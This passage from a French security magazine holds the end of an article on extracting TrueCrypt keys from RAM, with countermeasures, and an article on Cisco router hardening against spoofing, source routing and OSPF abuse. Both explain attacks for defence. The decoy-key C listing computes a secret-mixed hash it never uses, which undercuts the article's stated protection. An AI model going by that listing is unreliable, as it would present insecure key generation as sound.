également optimiser l’attaque de cet 
article, en faisant l’opération de recherche 
des clés directement dans la partie de 
la RAM concernée. De cette façon, on 
n’aura plus besoin de passer par un 
crash dump qui ne passe pas inaperçue, 
surtout quand on a 4Go de RAM à copier. 
Il serait possible aussi d’automatiser toute 
la chaîne de d’identification du couple 
(MK;SK), de l’algorithme de chiffrement, 
ainsi que du système de fichiers utilisé 
et enfin de génération de l’entête truqué. 
Cette optimisation prendrait peut de 
temps pour un équipe d’ingénieurs 
qualifiés, surtout quand on regarde ce que 
rapporte le vol de données confidentielles. 
Heureusement pour les utilisateurs de  
ces systèmes, on peut mettre en place  
un ensemble de protections destinées 
à diminuer le risque d’une telle attaque.  
La menace réside dans le fait que la clé 
de chiffrement est présente en RAM. 

Moyens de protections
Bien que cet article récupère la RAM 
pendant que Windows est en cours de 
fonctionnement, l’attaque cold boot du 
CITP nécessite de couper l’alimentation 
de la RAM, de l’extraire et d’en récupérer 
le contenu. Un moyen simple de se 
prévenir de cette attaque, est de démonter 

systématiquement les disques chiffrés 
lorsque l’on s’absente en verrouillant sa 
session bien sur. Au cas ou l’attaque 
aurait lieu pendant que Windows est lancé, 
il faut dans un premier temps désactiver la 
fonctionnalité de crash dump permettant 

de  généré un image complète de  
la RAM (cf. KB254649). Ne pas utiliser 
de compte administrateur, car en cas 
d’attaque toutes les actions malveillantes 
seront effectués avec les permissions 
d’administrateur (changement des 
valeurs du registre, accès à la RAM). 
Malheureusement, ces moyens ne 
permettent pas de s’affranchir d’une 
attaque plus évoluée. Comme le recours 
à des failles permettant de réaliser une 
l’élévation de privilège pour accéder  
à la RAM envoyer les clés et le conteneur 
récupéré à travers le réseau, etc.  
La partie suivante donne des moyens 
garantissant une meilleure sécurité.  
Cela implique un certain nombre de 
contre-mesures à implémenter au niveau 
logiciel, ou encore à l’utilisation de certains 
matériels.

Contre-mesures
Bien que les protections exposées 
précédemment constituent un premier 

Figure 7. Injection des clés 

Listing 4. Implémentation partielle du camouflage de clés

//Generating decoy keys 

int nbKey=(100000-2)/2; 
 

clock_t start,end; 

start = clock (); 

 

unsigned char eltSecret[64] =   {0x01,0x54,0x33,0xe1,0x99,0x9
b,0xa6,0x5d, 

0x80,0x6e,0x2d,0x2b,0xbd,0x6a,0x10,0x34, 

0x3c,0xab,0x8a,0x95,0xab,0x49,0xe4,0x2d, 

0xd7,0x00,0x6e,0x78,0x0a,0xfe,0xc1,0x3c, 

0xdf,0xea,0x30,0x67,0xdb,0x77,0x30,0x64, 

0xf3,0xc2,0x29,0x9d,0x8e,0xbc,0x10,0xfd, 

0x57,0xb4,0x14,0x0a,0x57,0x0c,0x25,0x6b, 

0x53,0xde,0xfc,0x56,0x23,0x12,0x51,0x09}; 

 

unsigned char hash[nbKey][64]; 
 

sha512(hash[0],eltSecret,64); 

for(int i=1;i<nbKey;i++) 
{ 

 unsigned char mixedHash[64]; 
 //Mixing eltSecret with previous hash 

 for(int z=0;z<64;z++) 
  mixedHash[z]=eltSecret[z]|hash[i-1][z]; 

 

 //Generate DecoyKey with mixed hash 

 sha512(hash[i],hash[i-1],64); 

} 

 

end=clock(); 

printf("%d Decoy keys generate in : %g s\n", 

nbKey*2,(double)end/CLOCKS_PER_SEC-(double)start/CLOCKS_PER_
SEC);
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rempart contre les attaques sur les FDE, 
elles sont loin de fournir une protection 
suffisante pour garantir la confidentialité 
des données. D’autres principes plus 
efficaces pourraient être mis en place au 
niveau logiciel.

Morcellement des clés
La première solution proposée 
consisterait à morceler les clés  
en RAM. Cette solution empêche 
l’utilisation de l’utilitaire du CITP qui 
ef fectue des recherches sur des 
blocs de 256 bits contigus. Les clés 
étant morcelées, il n’est plus possible 
d’ef fectuer cette analyse. Prenons le cas 
où l’on fragmentera les clés octet par 
octet. On aurait donc 64 morceaux  
(2 clés de 256bits) à disperser.  
Le principe est le suivant.

Lorsque l’on veut accéder en lecture 
ou en écriture à un fichier, le FDE va 
rassembler la clé en RAM et effectuer 
l’opération de chiffrement ou de 
déchiffrement. Une fois terminé, les clés 
seront à nouveaux dispersées. Ce mode 
de fonctionnement entraînera :

•  une diminution des performances de 
chiffrement et déchiffrement,

•  la possibilité d’attaquer la clé 
lorsqu’elle est rassemblée en RAM, 
surtout pour les opérations sur des 
fichiers volumineux.

Mais quels sont les impacts sur 
les per formances sur un disque de 
données et sur un disque système? 
Nous allons mesurer de manières 
qualitatives les conséquences de cette 
approche au niveau des per formances 
sur un disque de données et un disque 
système. Les mesures ont été réalisées 
avec l’outil procmon de Sysinternals  
(cf. Figure 8).

1er cas : Disque de données
Un disque contenant uniquement des 
données a été monitoré pendant trente 
minutes, en étant utilisé normalement 
(modification de fichier txt et visualisation 
d’images). Il en ressort que durant ces 
trente minutes 32000 opération on été 
faites sur les fichiers ce qui représente 
un temps d’exécution de 42,3s soit 2,4% 
du temps total. Par conséquent si on 
morcelle les clés à la fin de chaque 
opération, on diminue le temps exposition 
à l’attaque de 97,6%. Ce résultat est  
à modéré en fonction du niveau 
d’utilisation du disque. Car le recours 
à des programmes utilisant plusieurs 
fichiers (ex : un compilateur), on obtiendra 
un résultat moins performant.

2ème cas : Disque système
Cette fois un disque contenant Windows 
XP a été monitoré pendant 30 minutes. 
Soit 170000 opérations représentant un 
temps d’exécution de 232s, c'est-à-dire 
12,9% du temps de l’analyse. Bien que 
ce résultat ne soit pas surprenant, on 
remarque que l’utilisation du morcellement 
de clé est moins avantageux que dans le 
cas précédent.

Une autre conséquence de 
ce système et la dégradation des 
performances, car à chaque accès 
disque, il faudra rassembler les clés  
et les morceler ensuite. Cela entraînera 
fatalement une diminution des 
performances qui sera plus importante 
dans le cas d’un disque système.  
En supposant que le morcellement  
et le rassemblement prenne 10ms 
chacun, on serait pénalise de :

•  85ms pour le cas du disque de 
données,

•  10s pour le cas du disque système.

Par conséquent bien que le morcellement 
de clé puisse constituer un premier 
rempart contre les attaques en RAM sur 
les FDE, il ne garantit pas une protection 
permanente sur les clés. Un crash dump 
généré au bon moment permettrait de les 
récupérer.

Camouflage des clés
La deuxième méthode vise à augmenter 
la complexité au niveau combinatoire 
pour l’identification des clés. Pour cela 
on pourrait noyer le couple (MK;SK) 
dans un ensemble de n clés en RAM. 
De cette manière on récupérerait n 
+ 2 clés au lieu de 2. Si on prend un 
ensemble de 1000000 de clés (MK et 
SK inclus) le nombre de combinaisons 
possibles est 8.1012. Cependant une telle 
solution est-elle utilisable et efficace? Ce 
principe nécessite un certain nombre 
de conditions et de contraintes pour 
fonctionner :

Figure 8. Procmon 

Figure 9. Algorithme de génération des clés leurres 
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•  chaque ouverture du conteneur doit 
générer le même ensemble de clés. 
Sinon on pourrait à l’aide de deux 
dumps identifier les clés similaires,

•  la génération des clés doit reposer sur 
un élément secret,

•  Combien de temps faut-il pour générer 
ces n clés,

•  Combien de données 
supplémentaires seront en RAM.

Pour répondre à ces problématiques,  
nous allons implémenter partiellement 
cette solution dans le code source de 
Truecrypt. Le premier problème consiste  
à générer pour chaque conteneur le 
même ensemble de n clés à partir d’un 
élément secret. Cet élément pourrait être 
stocké dans l’entête d’un volume. Dans 
l’exemple suivant, nous allons utiliser une 
variable de 64 octets comme élément 
secret. Les n clés seront générés avec 
l’algorithme suivant. 

Le fait d’utiliser l’élément secret pour 
la génération de chaque clé empêche 
un attaquant de régénérer les clés. Car 
si chaque clé n’était qu’un condensat 
de la précédente, on pourrait identifier 
les fausses clés en calculant le hash 
de chacune et voir si le résultat trouvé 
correspond à une clé récupérée. La 
fonction utilisée pour la génération des 
clés est SHA-512. Par conséquent deux 
clés seront générées en même temps. 
Au niveau de la RAM, le tableau suivant 
précise pour chaque nombre de clés 
générées:

•  le nombre de combinaisons,
•  le temps maximal pour identifier le 

couple (MK;SK) en testant n clés/sec 
avec n processeurs,

•  la taille des n clés en RAM.

On s’aperçoit que pour 1000000 de 
clés on commence à obtenir des 
per formances acceptables, puisqu’il 
faudrait 16 ans pour retrouver (MK;SK). 
Il ne reste plus qu’à implémenter 
cette solution pour mesurer le 
temps nécessaire à la génération 
de ces n clés. Le Listing 4 présente 
l'implémentation partielle de cette 
méthode pour la génération de 99998 
clés à partir de l'algorithme présenté 

dans la Figure 9 (la fonction sha512 
utilisé est celle du source sha2.h de 
Truecrypt). Les tests de générations  
ont été ef fectués sur un PC portable 
équipé d'un Pentium M 1.73GHz et de 
1Go de RAM. Les résultats donne  
une moyenne de 0,3s pour générer 
100000 clés, ce qui donne 3s 
pour générer 1000000 de clés. 
L'implémentation d'une telle solution  
est donc implémentable.

NB : Cet article donne une 
implémentation partielle de cette  
contre-mesure pour laisser à Truecrypt 
le choix de son implémentation ou non. 
L'équipe de Truecrypt a été mise au 
courant du problème soulevé dans cet 
article ainsi que des contre-mesures 
proposées.

Protections matériels
Malgré les résultats obtenus avec  
les solutions précédentes, le moyen  
le plus sûr pour contrer ce type  
d'attaque et d'utiliser des solutions  
de chif frement matériels. Ces 
équipements utilisent des crypto-
processeurs chargés d'ef fectuer 
toutes les opérations à caractère 
cryptographique notamment:

•  le chif frement,
•  le déchif frement,
•  la gestion des clés.

L'avantage de ces solution est que les 
clés de chiffrement restent à l'intérieur du 
crypto-processeur (elle ne sont jamais 
résidente en RAM). Par conséquent la 
récupération des clés n'est plus qu'une 
simple opération de lecture en RAM, mais 
un attaque sur un matériel spécifique. Ces 
équipements existent sous forme de clé 
ou de disque dur comme les clé RCI et 
les disques chiffrant Globull de la société 
Bull. Cependant ces solutions sont plutôt 
destinées aux entreprises à cause de 
leurs coûts.

Conclusion
Bien que les systèmes de chif frement 
de disque à la volée restent un moyen 
sûr pour assurer la protection de ces 
informations, ils ne sont pas inviolables. 
Bien que cet article présente cette 

faille sur Truecrypt, d'autres FDE sont 
également vulnérables. Les solutions 
logicielles proposées n'of frent pas de 
couverture par faite mais of frent déjà un 
premier rempart pouvant être dif ficile  
à franchir suivant leurs configurations.  
Il est donc du ressort des éditeurs 
de FDE de prendre en compte ces 
menaces en intégrant de nouvelles 
fonctionnalités permettant de  lutter 
contre les attaques en RAM.
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La sécurité est un terme relatif, toutefois 
on s'accorde sur le fait qu'il s'agit de 
limiter l'exposition aux menaces. Chaque 

entreprise est consciente des enjeux liés à la 
sécurisation de leurs postes et de leurs serveurs, 
mais peu d'entre elles se préoccupent de la 
sécurisation des routeurs - ce qui est en soi, 
inconcevable ! Toutes les données qui sont 
transmises d'un réseau à l'autre doivent passer 
par un routeur, si ce support matériel est faillible 
alors les informations envoyées et reçues sur 
chaque hôte peuvent être compromises.

Après un rapide examen du paramétrage du 
routeur et des attaques possibles, j'ai constaté 
avec stupéfaction qu'un nombre important de 
réseaux étaient mal protégés... Je vais vous 
présenter les vulnérabilités les plus courantes 
ayant trait au routage réseau, puis je vous 
montrerai comment on peut s'en prémunir grâce 
aux plateformes sécurisées Cisco. En fin d'article, 
je vous présenterai le Top 10 des règles de 
sécurité à respecter lorsque vous disposez d'un 
routeur.

Usurpation d'adresse IP (spoofing)
Remarque : Cette attaque porte sur 

l'usurpation d'identité. Ces attaques se font 
à l'encontre d'ordinateurs ou sous-réseaux 
distants. Si vous souhaitez en savoir plus, lisez 
l'article annexe sur la sécurisation des réseaux 

Ryan Gamo

Ce que vous devez 
savoir...
notions de base sur le routage 
et les plateformes CISCo. 
notions de base sur les 
vulnérabilités réseaux - n'importe 
quel réseau exécutant une 
version antérieure à celle d'IoS 
Version 12.4 devrait être mis  
à niveau immédiatement.

Ce que vous 
apprendrez...
Fonctionnement d'un abus du 
protocole de routage, usurpation 
(spoofing) d'adresse IP, et 
technique de source-routing.

Comment limiter ces menaces 
en utilisant les plateformes 
Cisco.

commutés Cisco ainsi que les techniques 
permettant de limiter les attaques par  
usurpation d'adresse sur le même domaine  
de dif fusion.

L'usurpation d'adresse IP est une  
attaque relativement simple mais puissante. 
N'importe quel pirate peut l'utiliser à l'encontre 
d'un poste hôte sur un réseau distant. Lorsque 
celle-ci est exécutée dans un environnement 
vulnérable, l'usurpation d'adresse peut prendre 
diverses formes - ce peut être une simple 
attaque par déni de service ou des attaques 
plus avancées par abus des relations de 
confiance. 

Ces dernières sont un véritable cauchemar 
pour n'importe quelle entreprise. J'ai entendu 
parler d'un administrateur réseau malheureux 
qui avait débranché tous les câbles réseau des 
commutateurs, parce qu’il ne parvenait pas  
à déterminer la provenance exacte de l'attaque. 
C'est sans nul doute le pire scénario, toutefois 
 il est bon de mettre en garde les administrateurs 
réseau (peu importe la taille du réseau) sur ce 
type de menaces. Les attaques par usurpation 
d'identité et autres script kiddies peuvent 
provoquer en peu de temps énormément de 
dégâts. L'administrateur mettra du temps  
à remonter à la source d'autant que ce processus 
est plutôt fastidieux.

Degré de difficulté

A la découverte des 
plateformes de routage 
sécurisées CISCO 

Cet article recense la plupart des problématiques liées  
au routage réseau et la façon de limiter les cas d'abus en 
utilisant les plateformes Cisco. Chaque cas d'attaque présenté 
est véridique, certains se sont produits dans des banques qui 
gèrent des fonds se chiffrant à plusieurs milliards de dollars  
et d’autres se sont limités aux boutiques de petits commerçants. 
Le risque d'attaque sur des réseaux peu ou pas protégés est 
donc bien réel ! 
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Comment ça marche ?
Lorsqu'un ordinateur veut communiquer, 
il envoie des paquets de données vers 
l'adresse IP de l'autre ordinateur qui 
inclut une adresse de retour (source) 
permettant à la machine de lui 
répondre. Une attaque par usurpation 
d'adresse IP consiste à remplacer 
l'adresse IP de l'expéditeur d'un paquet 
IP par l'adresse IP d'une autre machine, 
elle permet ainsi à un pirate d'envoyer 
des paquets anonymement. Il ne s'agit 
pas pour autant d'un changement 
d'adresse IP, mais d'une " mascarade " 
de l'adresse IP au niveau des paquets 
émis.

Cette attaque a toutefois ses revers. 
Le premier problème est l'envoie des 
données. Le pirate n'a pas les moyens 
de surveiller l'ordinateur cible, il n'est 
donc pas sûr de ce qui se passe de 
l'autre côté. Le corollaire est qu'un pirate 
ne pourra pas participer activement 
à toutes les sessions qui nécessitent 
des numéros de séquence ou autres 
autorisations. 

Exemple d'attaque  
– Déni de service
Meghan est en apparence une 
employée modèle, mais poussée  
à bout elle va vouloir compromettre  
la sécurité du réseau ! Elle n'accepte 
pas la mise en application d'une 
nouvelle politique d'entreprise, et est 
bien décidée à se venger en lançant 
une attaque par Déni de Service à 
l'encontre du serveur de paie. Grâce 
au système d'exploitation BackTrack 4 
sur Live CD, elle tape la seule et unique 
commande capable de paralyser le 
serveur : Voir Figure 1.

Défense
En tant qu'administrateur réseau, vous 
avez plusieurs options pour empêcher 
des paquets usurpés de se croiser 
sur un réseau, l'une des meilleures 
options est sans nul doute l'uRPF 
(Unicast Reverse Path Forwarding) 
que l'on peut activer sur la plupart 
des routeurs. L'option uRPF permet 
d'ef fectuer une recherche de base 
spécifique au trafic sur une inter face, 
en comparant l'adresse IP source du 

paquet avec sa table de routage. Le but 
est de déterminer si cette adresse est 
bien arrivée sur l'inter face en question. 
L'option uRPF dispose de deux modes 
distincts, qu'il faut maîtriser – strict mode 
et loose mode – ils doivent tous deux 
être activés en fonction du port.

Strict mode : lorsqu'un paquet arrive 
jusqu'au routeur, celui-ci doit être en 
mesure d'ef fectuer la correspondance 
entre l'inter face de départ et celle 
d'arrivée (qui renverra du trafic). 
Ce mode devrait être utilisé sur les 
inter faces où le routage est stable et 
synchrone (le trafic destiné aux sous-
réseaux part de la même inter face que 
celle par laquelle il est arrivé), comme 
pour la plupart des inter faces d'un 
LAN. Cette étape de vérification peut 
permettre de déceler des dif férences 
entre les chemins attendus et ceux 
réellement empruntés. 

Loose mode : Ce mode consiste à 
vérifier si l'adresse source figure parmi 
la table de routage. Il est plus adapté 
aux routeurs qui ont des modes de 
routage asymétrique, par exemple, dans 
certaines configurations de réseaux 
WAN. Ce mode n'effectue pas par défaut 
d'analyse poussée du trafic.

Syntaxe :

ip verify unicast source 

   reachable-via {rx | any} 

   [allow-default] 

   [allow-self-ping] [list]

• rx – Utilise l'option " strict mode " sur 
cette interface

•  any – Utilise l'option " loose mode " 
sur cette interface

• allow-default – (Facultatif) Le 
trafic est autorisé sur une seule route 
(0.0.0.0 /0)

• allow-self-ping – (Facultatif) 
Autorise le routeur à effectuer un ping 
sur son interface

• list – (Facultatif) Autorise ou rejette 
le trafic ACL. En fonctionnement, il est 
préférable d'appliquer un access-
group (groupe d'accès) sur l'interface 
pour des raisons de commodité.

Exemple de configuration : " strict mode " 
avec route par défaut

Router(config)#interface Fa0/0

Router(config-if)#ip verify 

  unicast source reachable-via 

  rx allow-default

source-routing
Une attaque de type source-routing 
est similaire à celle de l'usurpation 
d'adresse IP (spoofing), d'ailleurs elles 
vont généralement de paire. Le source-
routing permet à un pirate de rediriger le 
trafic réseau d'un routeur vers des routes 
prédéfinies. Utilisée seule, celle-ci pourrait 
permettre à une personne malveillante 
de contourner des listes d'accès, ou 
certaines appliances de sécurité au sein 
d'un réseau. En revanche si celle-ci est 
utilisée conjointement avec l'usurpation 
d'identité elle permettrait d'autoriser du 
trafic malveillant en se faisant passer 
pour une adresse de confiance vis-à-vis 
d'un hôte ou simplement en offrant plus 
d'anonymat au niveau des transactions 
réseau.

Qu'importe la manière, il subsiste  
un véritable défaut sur les plateformes  
de routage Cisco : celui de la possibilité 
d'une attaque par source-routing.  
On peut considérer cette faille comme 
critique. Certaines applications peuvent 
exploiter cette faille, le trafic de type 
source-routing doit obligatoirement être 
bloqué sur un LAN.

Comment ça marche ?
A ses débuts, le protocole IP était 
surtout utilisé au niveau industriel pour 
ef fectuer des tests et des dépannages. 
L'utilisateur pouvait définir les inter faces 
de routage sur lesquelles les paquets 
devaient transiter sans que les routeurs 
gèrent cette partie. C'est alors que 
les options de source-routing se sont 
répandues puis normalisées. Cet 
aspect des choses représente un 
risque de sécurité en soi, le danger 
est aggravé par le fait que plusieurs 
systèmes d'exploitation peuvent inverser 
la direction du routage au moment 
de répondre aux paquets reçus, un 
utilisateur malveillant pourrait donc 
exploiter les modes de conversation 
bidirectionnels.

Plus techniquement, le source-routing 
se décline en deux options – Strict 
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Source Record Route (SSRR, IP option 
137) et Loose Source Record Route 
(LSRR, IP option 131). Bien que leurs 
dif férences soient expliquées ci-dessous, 
les mécanismes derrière ces deux 
concepts reposent sur le principe sui- 
vant : la valeur du champ de destination 
d'un paquet est remplacée par un 
pointeur qui ramène vers le haut de 
la pile, le routage source. Le pointeur 
est modifié en avançant dans la pile 
jusqu'à ce que la dernière adresse IP soit 
atteinte.

Option SSRR (Strict Source Record 
Routing) : option spécifique. L'émetteur du 
paquet spécifie la liste des machines sur 
lesquelles doit passer le paquet avant 
d'arriver à destination. A la dif férence de 
l'option LSRR, s'il y a des trous de routage 
entre 2 machines spécifiées, le routage 
dynamique ne reprend pas ses droits  
et le paquet est perdu. L'utilisation de 
cette option demande une connaissance 
approfondie de l'infrastructure réseau 
entre le PC de pirate et celui de sa 
cible, le résultat est le contrôle total de 
l'environnement traversé par le paquet.

L'option LSRR (Loose Source Record 
Routing) : approche simplifiée. L'émetteur 
du paquet spécifie une liste de machines 
par lesquelles doit passer le paquet 
avant d'arriver à destination. S'il y a 
des trous de routage entre 2 machines 
spécifiées, le routage dynamique 
reprend ses droits. Mise à part certaines 
techniques de piratage, la plupart 
des fournisseurs d'accès refusent de 
propager les paquets d’IP présentant ces 
options.

On peut se demander légitimement, 
pourquoi ces options sont considérées 
comme dangereuses outre le fait 
qu'elles permettent de router des listes 
d'accès ou snif fers ? Si ces options 
sont combinées avec une attaque par 
usurpation d'adresse IP et qu'un hôte 
cible accepte l'inversion de pile RSNR / 
LSRR alors il est possible d'exploiter des 
relations de confiance entre deux hôtes. 
Ceci permet à un client d'usurper une 
adresse IP privée, de confiance, à partir 
d'un réseau distinct (comme Internet) 
et d'assurer ainsi une conversation 
bidirectionnelle.

Exemple
David veut accéder à un serveur 
extérieur depuis son entreprise. Mais il 
y a un problème, un pare-feu filtre les 
connexions entrantes et sortantes. David 
a déjà ef fectué une reconnaissance 
du réseau et sait qu'il existe une route 
alternative, c'est par celle-ci qu'il souhaite 
passer (Voir Figure 2).

Défense
Le système de défense contre le 
source-routing dans un réseau Cisco 
s'appuie sur un double processus. 
La première étape consiste à relire le 
paragraphe sur l'attaque par usurpation 
d'adresse IP autorisant l'uRPF. La 
deuxième étape consiste à désactiver  
le source-routing sur le routeur lui-même. 
Cela se fait très simplement en entrant 
dans le mode de configuration du  
routeur et en tapant la commande 
suivante :

Router(config)#no ip source-route

abus du protocole  
de routage
Que ce soit par un protocole RIP (simple) 
jusqu'à des hiérarchies plus complexes 
telle que OSPF, les protocoles de routage 
permettant des gagner du temps et évitent 
chaque année des milliers d'heures de 
configuration pour les administrateurs. 
L'automatisation a cependant ses 
défauts - si les protocoles ne sont pas 
convenablement sécurisés, un pirate peut 
effectuer une attaque de type man-in-
the-middle ou par déni de service contre 
l'ensemble du réseau.

Cette menace n'est pas à prendre  
à la légère - J'ai vu des grandes 
entreprises générant des profits de 
plusieurs milliards de dollars vulnérables 
à ce type d'attaque. En soi c'est 
inconcevable. Rappelez-vous que ces 
vulnérabilités ayant trait aux domaines 
de routage, sont dues à un manque de 
sécurité des routeurs.

Comment ça marche ?
En raison de la multiplicité des 
 protocoles de routage je ne me 
m'attarderai pas à tous les exposer 
– je vous propose d'examiner les 

mécanismes d'authentification 
disponibles pour Open Shortest 
Path First (OSPF) version 2, un des 
protocoles les plus couramment 
déployés au sein des réseaux privés. 
Soyez conscient, toutefois, que les 
mécanismes présentés ici sont 
communs à tous les protocoles.

OSPF, comme d'autres protocoles 
de routage met en œuvre le processus 
suivant.

Il est activé selon chaque sous-
réseau, ainsi que chaque interface 
convenablement configurée.

Le protocole OSPF construit une table 
interne qui recense les sous-réseaux 
connus ainsi que le coût (Cf. Formule  
ci-dessous).

Ce protocole n'envoie pas aux 
routeurs adjacents le nombre de sauts 
qui les sépare, mais l'état de la liaison qui 
les sépare. Ceci est rendu possible grâce 
aux paquets Hello envoyés à l'adresse 
multicast : 224.0.0.5

Chaque routeur est capable de 
dresser une carte de l'état du réseau 
et peut par conséquent choisir à tout 
moment la route la plus appropriée 
pour un message donné. Après avoir 
reçu une réponse, OSPF procède à un 
échange des paramètres au cours du 
protocole Handshake avec ses voisins 
ainsi que les tables de routage. Lorsqu'un 
routeur procède à ce dernier échange 
il est considéré comme adjacent et 
communiquera périodiquement pour 
s'assurer de l'activité de ses voisins sur  
le réseau.

Le meilleur chemin est calculé grâce 
à l'algorithme de Dijkstra en profitant des 
capacités du CPU. Sur un routeur Cisco, 
cela signifie que les sous-réseaux qui ont 
pris connaissance du protocole OSPF 
peuvent désormais être recensés dans  
la table de routage.

Il est intéressant de détailler le 
protocole OSPF, qui utilise le coût comme 
métrique pour déterminer la meilleure 
route. Bien que ce calcul dif fère selon les 
matériels, tous les périphériques Cisco 
utilisent la même formule : 

 Coût = Bande passante 

  de référence / Bande passante 

  de l'interface
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Où :

Bande passante = 100Mbps

Par exemple, un lien de 10Mbps aurait un 
coût de 10, tandis qu'un lien de 100Mbps 
aurait un coût de 1. Comme il n'y a pas 
de fractions disponibles pour OSPF, les 
connexions Gigabit et 10 Gigabit ont 
également un coût par défaut fixé à 1  
(il existe des mécanismes permettant  
de modifier la largeur de bande passante 
de référence pour s'assurer que ces  
liens sont bien utilisés).

En termes de routage, la meilleure 
inter face qu'un routeur puisse utiliser 
lorsqu'il renvoi du trafic est celle ayant le 
coût total le plus bas sur le sous-réseau.

A ce stade, un utilisateur malveillant 
pourrait exécuter un processus OSPF sur 
un ordinateur connecté au réseau  
et construire un tableau des coûts falsifié 
pour rediriger le trafic vers son PC plutôt 
que le destinataire d'origine. Un pirate  
peut causer une panne de réseau sur  
des dizaines, des centaines voire des 
milliers de postes utilisateurs. Si un pirate 
devait avoir une deuxième connexion  
à un dispositif suf fisamment éloignée 
de son voisin ayant subit l'attaque (en 
termes de coûts de routage) ou sur un 
autre réseau (par exemple, Internet), il 
pourrait ef fectuer une attaque man-in-
the-middle  
à l'encontre de chaque utilisateur grâce 
au trafic qu'il a intercepté (Voir Figure 3).

La seconde vulnérabilité critique dans 
ce processus implique la modification 
des tables OSPF, mais cette fois-ci dans 
un but dif férent. Chaque routeur dans 
une zone administrative donnée dispose 
des tables de coûts pour l'ensemble 
de ses voisins, ainsi qu'une image du 
réseau et peut appliquer l'algorithme de 
Dijkstra. Il est possible pour un pirate 
d'injecter rapidement de nouvelles routes 
ou de modifier des paramètres sur des 
routes existantes et provoquer ainsi un 
pic de transformation sur l'ensemble des 
routeurs du domaine. 

Cette attaque peut être 
particulièrement coûteuse pour une 
organisation selon son architecture, en 
ef fet les routages peuvent être refusés 
entre chaque sous-réseau de l'entreprise. 

J'ai eu l'occasion par le passé de voir 
cette attaque mettre à mal le travail 
de plus de 10 000 salariés. Elle est 
extrêmement puissante et provoque  
un arrêt de la transmission des 
informations sur les dif férents sous-
réseaux. Identifier l'origine du problème 
est un véritable défi.

Prévention des risques
Cisco dispose de deux méthodes 
complémentaires pour atténuer 
les risques d'attaques par OSPF. 
L'administrateur peut notamment 
désactiver l'utilisation des messages 
multicast OSPF sur certains liens, et 
exiger de ses voisins une authentification.

Lorsque l'on décide de désactiver 
l'utilisation des messages multicast 
(reçus par chaque hôte dans un sous-
réseau), il existe deux options : une 
désactivation générale ou au cas par 
cas des inter faces. Les deux options sont 
valables en fonction de la conception du 
réseau, toutefois pour réduire le niveau 
de complexité et augmenter la sécurité, 
il est généralement recommandé de 
lister les inter faces sensibles et de 
les protéger. Toute inter face en mode 
passif n'envoie pas de paquets Hello 
de type OSPF, ni les processus reçus, 
cette configuration est idéale pour toute 
inter face qui n'a pas à se connecter à un 
routeur expressément approuvé OSPF.

Exemple : Prévenir les connexions 
adjacentes OSPF sur les interfaces Fa0/1

Router(config-router)

   #passive-interface default

Router(config-router)

   #no passive-interface Fa0/1

La seconde étape dans la sécurisation 
d'un domaine de routage OSPF consiste  
à autoriser l'authentification entre 
machines voisines. Dans cet exemple, 
l'algorithme MD5 est utilisé pour générer 
un hachage à partir du paquet OSPF 
d'origine et sa clé est transmise avec 
le paquet sous la forme d'un identifiant 
et numéro de séquence. L'autre partie 
utilise sa clé pour calculer le code de 
hachage puis compare les deux. S'ils sont 
similaires, l'adjacence est conservée et le 
processus se poursuit. Pour des raisons 

évidentes, nous n'aborderons pas la 
méthode d'authentification en texte clair.

Exemple : Utiliser OSPF pour effectuer 
une authentification.

Router(config)#router ospf 1

Router(config-router)

   #area 0 authentication 

   message-digest

Router(config-router)

   #interface Fa0/1

Router(config-if)

   #ip ospf message-digest-key 

   [key number] md5 [password]

Liste de vérification

• Sécuriser physiquement les routeurs.
• Restreindre l'accès à distance pour 

sécuriser des protocoles tels que SSH 
et configurer l'accès aux listes pour 
autoriser une gestion à partir des 
hôtes ou sous-réseaux. Implémenter 
de préférence une authentification AAA 
via RADIUS ou TACACS+.

• Configurer les demandes de connexion, 
SNMPv3, et au besoin un sniffer.

• Activer uRPF le cas échéant, sur toutes 
les interfaces.

• Désactiver le source-routing IP.
• Sécuriser les protocoles de routage 

en désactivant la publicité inutile  
et nécessitant une authentification.

• Désactiver les redirections ICMP.
• Désactiver le proxy ARP.
• Configurer l'accès aux listes en utilisant le 

modèle de moindre privilège.
• Sécuriser le NTP, en désactivant le 

service ou celui de l'authentification.

Les éléments cités dans le présent article 
ne sont ni cautionnés ni sponsorisés par 
Cisco Systems, Inc Cisco, Cisco Systems, 
CCIE et le logo CCIE qui sont des 
marques déposées de Cisco Systems, 
Inc. et ses affiliés.
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PRATIQUE
Cette rubrique vous permettra de connaître 
une méthode d’attaque et d’appliquer les 
moyens de défense á mettre en place.

TECHNIQUE
Cette fois-ci nous vous présenterons un 
article Slitaz 2.0 par Julien Smyczynski.

FEUILLETON
Un regard précis et pertinent sur la sécurité 
informatique.

EN BREF 
L̀ actualité du monde de la sécurité  
informatique et des systèmes d`information.  
Les nouvelles failles, les intrusions web  
et les nouvelles applications.

DATA 
RECOVERY
Dans cette rubrique vous allez suivre les  
risques liés aux données, de la clé USB  
au serveur, les risques de pertes, mais  
aussi de vol de données, les moyens de  
protectios liés à ces périphériques.
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